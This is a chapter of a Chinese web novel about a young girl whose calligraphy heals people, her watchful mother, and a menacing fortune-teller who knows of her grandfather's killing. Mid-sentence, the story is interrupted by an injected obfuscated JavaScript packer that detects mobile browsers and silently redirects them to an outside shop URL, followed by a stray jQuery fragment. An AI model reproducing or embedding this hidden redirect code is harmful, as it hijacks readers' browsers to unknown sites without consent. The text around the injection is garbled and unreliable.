母亲开始注意张清了。
她没有质问，没有翻她的东西。她只是开始观察。
观察她每天在房间里做什么。观察她写字时的表情。观察她出门时书包里鼓鼓囊囊的是什么。
张清感觉到了。她变得更小心了。以前在院子里练字，现在只在房间里练。毛笔和墨锭用旧布包裹起来，塞在书包最里面。
她知道，母亲是医生。医生观察人的能力，比普通人强。
有一天晚上，母亲悄悄站在张清房门外，透过门缝看她。
张清坐在桌前，手里拿着毛笔，正在写字。表情很专注，窗外的蝉鸣很吵，但她好像完全听不到。
母亲看了很久。她看到张清放下笔，拿起纸看了看，摇了摇头，把纸揉成团扔了，又拿起笔继续写。写完之后闭上眼睛，坐在那里不动。过了很久才睁开眼，又拿起笔画了几笔。
母亲没看懂她在做什么。但她知道，这个八岁的女儿，有什么她不懂的东西。
她悄悄离开了。
那天晚上吃饭的时候，母亲忽然问了一句。
"小清，你最近在学校怎么样？"
"挺好的。"
"学习跟得上吗？"
"跟得上。"
"周老师有没有说什么？"
张清停下筷子。"周老师？没有。"
母亲看了她一眼。"哦。"
然后她继续吃饭。但张清知道，她在试探。
桌上的菜是酸豇豆炒肉末和一碗丝瓜汤。母亲夹了一块肉放到张清碗里，又给父亲夹了一块。父亲埋头吃饭，一句话不说。
吃完饭，张清收拾碗筷要去厨房洗。母亲拦住了她。
"你去写作业吧。我来。"
"没事，我洗得快。"
"去吧。"母亲的语气不容商量。
张清看了母亲一眼，没争，回房间了。她知道母亲不让她洗碗，是不想让她出门。
回到房间，张清坐在桌前，没有拿笔。她拿出作业本，写了几行暑假作业。但她的耳朵一直竖着，在听厨房里的声音。
母亲洗碗的声音很轻。碗碟碰撞的声音，水流的声音。偶尔她会说一句话，但听不清说什么。
过了大约二十分钟，厨房安静了。又过了十分钟，张清听到母亲的脚步声从厨房经过走廊，停在她们的房间门口。
然后是父亲房间的门关上的声音。
张清松了口气。她放下作业本，从抽屉里拿出了毛笔。
那天晚上，母亲跟父亲说了。
"小清最近有点不对劲。"
父亲放下报纸，看了她一眼。"怎么了？"
"她总是在房间里写字。写很久。而且她用的不是钢笔，是毛笔。"
父亲沉默了。
"你不觉得奇怪吗？"母亲问。
父亲又沉默了一会儿。"孩子大了，有自己的想法。别管太多。"
"可是。"
"素云，"父亲打断她，"别管太多。"
母亲看着父亲，没说话。她知道，父亲知道些什么。但父亲不愿意说。
三天后，饭后，母亲把张清叫到房间里。
"小清，你跟我来。"
张清跟着母亲进了她的房间。母亲关上门，让她坐下。
房间里有一盏台灯，光线柔和。母亲坐在床边，看着张清。桌上放着一本翻开的医学期刊，但她根本没在看。
"你跟妈说实话。"
"什么实话？"
"你是不是懂点什么？"
张清没说话。
"刘婶的失眠，王大爷的腰，是不是你治的？"
"不是我治的。就是写了张字。"
"字能治病？"母亲的声音有点硬。
"我不知道。"张清说。这是实话。她确实不知道。
母亲看着她，目光沉下来了。她是卫生院的大夫，信的是科学，是看得见摸得着的东西。但她也知道，刘婶的失眠三年了，镇医院和市医院的药都不管用。王大爷的腰疼了几十年，针灸、拔罐、膏药，能试的都试了。
现在两个人的毛病同时有了好转。
这不可能是巧合。
"小清，"母亲的声音软下来了，"你到底在做什么？"
张清沉默了很久。
"妈，我就是写字。"
"只是写字？"
"只是写字。"
母亲看着她，看了很久。然后她叹了口气。那口气很长，像是把心里的什么东西放下来了。
"你自己知道就好。别乱来。"
"我没有乱来。"
"那你自己小心。"母亲站起来。"马半仙在说你的坏话。"
张清愣了一下。"他说了什么？"
"他说你搞封建迷信。说你爷爷以前就是搞这个的，被批斗了。"母亲的嗓音压得很低。
张清没说话。
母亲回过头看着她。"你答应妈一件事。"
"什么？"
"不管你在做什么，别让别人知道。"
"我知道了。"
"还有。"母亲顿了顿，"你爷爷的事，别跟任何人提。"
张清愣了一下。"爷爷的事？"
"你爷爷以前就是搞这个的。后来被批斗了。"母亲的声音很轻。"你爸不愿意提。我也不愿意提。"
"妈，爷爷到底。"
"别问了。"母亲打断她。"你只需要知道一件事，那个年代，搞这些东西是要命的。"
她停了停。"你小心点。那个人不好惹。"
那天晚上，张清在房间里想了很久。
母亲的话让她不安。爷爷的事，连父亲都不怎么提，一个外人怎么可能知道？除非他去问过厂里的老人。
有人在暗中把她翻了一遍。
她想了想，从抽屉里拿出笔记本。她翻到最后一页，写了一行字：
"马半仙。他在查我。他知道爷爷的事。"
然后她又写了一行：
"不能让他再查下去了。"
她合上笔记本，坐在窗前。窗外的月亮很亮，但她觉得冷。一股从骨头缝里往外渗的冷。
她明白了一件事，马半仙不是在吓唬她。他是真的知道一些什么。
第二天是周末。张清没去周伯年那里。
她在家里待了一上午。帮母亲摘了豇豆，帮父亲劈了几根柴。劈柴的时候父亲在旁边看着，没说话。父亲的视线里没有审视，眼底压着很重的东西。
吃完午饭，母亲去卫生院值班了。父亲也出了门。张清一个人在家里待着。
她在院子里坐了一会儿。太阳很大，晒得地面发白。厂区的大喇叭在播一首歌，旋律从远处飘过来，断断续续的。
她低头看了看自己的手。八岁的手，手指上有墨渍。这双手握着毛笔的时候，能做出一些她自己也觉得意外的事情。
她站起来，准备出门透透气。
下午，张清在厂区门口碰到马半仙。
马半仙站在门口的槐树下，手里拿着一把折扇。他穿着灰色的的确良衬衫，扣子扣到最上面一颗，看起来是在等人。
他看到张清，笑了。
那种笑让
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17809174|210771||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
人不舒服。猫看到老鼠的笑。
"小娃娃，你就是张清？"
张清停下脚步。她看着马半仙，没说话。
"听说你写字能治病？"
"不能。"
"那刘婶和王大爷是怎么回事？"
"巧合。"
马半仙笑了。"巧合？两次巧合？"他摇了摇扇子，往前走了一步。"小娃娃，你跟谁学的？你师父是谁？"
张清看着他，没说话。
"你师父是谁？"马半仙又问了一遍。他的声音不大，但语气里有一种逼人的东西。"这附近没人会这个。周伯年？他不会。那是谁？"
张清还是没说话。
马半仙盯着她看了很久。那双眼睛亮得不正常——锐利、空洞，里面什么都没有。
然后马半仙笑了。
"不说？不说也没关系。"他直起身，摇着扇子，转身走了两步。又停下来，回头看她。
"小娃娃，我劝你一句，这条路，不好走。"
张清站在原地，没动。
马半仙又走了几步。忽然又停了。他回过头，脸上的笑没了。
"你知道你爷爷是怎么死的吗？"
张清的身体僵了一下。
"他被人打死的。"马半仙说。声音很轻，但每个字都像钉子一样钉进张清耳朵里。"1954年，被人用棍子打死的。因为他搞封建迷信。"
张清没说话。她的手在发抖。
"你小心点。"马半仙说。"别步你爷爷的后尘。"
然后他走了。折扇一晃一晃，背影消失在路口。
张清站在原地。槐树的叶子在风里沙沙响。
她觉得身上发冷。马半仙身上，什么"气"都没有。
普通人身上都有气，有的强，有的弱，但都有一层看不见的东西。但马半仙身上，干干净净的。一个空壳。一件衣服里面没有人。她从来没有在一个活人身上感受过这种"空"。
她转身往回走。
走出厂区大门的时候，她又感觉到了什么。
跟上次一样的，很远的地方，有一缕极淡的气，跟厂里任何人的都不一样。这次比昨晚清楚了一点。很冷，很沉，像是从很深的地底下渗出来的。
她站住了，往那个方向看了看。远处只有山，山上是密密的林子。
什么都没有。
但那股气只闪了一瞬，就没了。
张清攥紧了拳头，慢慢走回家。
那天晚上，张清坐在桌前，看着桌上的图录。
图录的封面已经磨得很旧了，纸页发黄，边角卷起来。她伸手摸了摸封面，有一种隐隐的温感。
三十六页，她已经描了不到十页。每一页的线条她都能看懂，但她知道，看懂和做到之间，还有很远的路。
她又看了看那支乌木笔。笔杆光滑，握在手里温润。爷爷用了几十年，笔杆上连一道裂纹都没有。
她拿起笔记本，写了一行字：
"马半仙。他身上没有气。像一个空的壳子。"
想了想，又加了一句：
"他不是普通人。但他也不是我们这种人。"
她把笔记本合上。
窗外传来远处的虫鸣。
"你知道你爷爷是怎么死的吗？"马半仙的声音又冒出来了，每个字都冷飕飕的。爷爷是被打死的。因为搞这些。她现在也在搞这些。
她关了灯，躺在床上。月光从窗户照进来，在天花板上画出一个方框。
爷爷，你到底还留了什么在这支笔里？
而马半仙，到底想要什么？